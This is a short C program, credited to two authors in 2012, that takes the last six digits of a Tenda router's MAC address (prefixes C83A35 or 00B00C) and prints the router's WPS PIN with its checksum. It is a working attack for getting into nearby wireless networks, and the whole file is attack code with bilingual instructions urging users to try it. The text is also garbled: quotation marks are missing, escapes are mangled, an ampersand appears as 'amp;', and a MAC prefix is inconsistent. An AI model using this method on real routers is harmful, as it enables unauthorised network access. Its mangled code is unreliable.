//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
//Coded by Zhaochunsheng - iBeini.com
//Modified by Lingxi - WiFiBETA.COM

#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;

//printf(ComputePIN-C83A35n);
printf(Description:n);
printf(If your wireless router MAC address start with C83A35 or 0B00C,n);
printf(type the other six digits, you might be able to get the n);
printf(WPS-PIN of this equipment, please have a try, good luck!nn);
printf(Code by ZhaoChunsheng 04/07/2012 http://iBeini.comnn);
printf(Modified by Lingxi - WiFiBETA.COMnn);
//Translated to Chinese
printf(说明：n);
printf(如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头，n);
printf(输入后六位MAC地址（不分大小写）您或许可以获得该路由的WPS PIN密钥！n);
printf(祝你好运！nn);
printf(由赵春生编写于2012年4月7日 Http://iBeini.comn);
printf(由灵曦修改并汉化 WiFiBETA.COMnn);
printf(请输入后六位MAC地址（HEX）：n);
printf(Input the last 6 digits of MAC Address(HEX):);
scanf(%x,amp;PIN);
printf(您输入的后六位MAC地址是 %Xn,PIN);
printf(Last 6 digits of MAC Address(HEX) are: %Xn,PIN);
printf(WPS PIN is: %07d%dn,PIN%10000000,wps_pin_checksum(PIN%10000000));

return 0;
}

unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;

}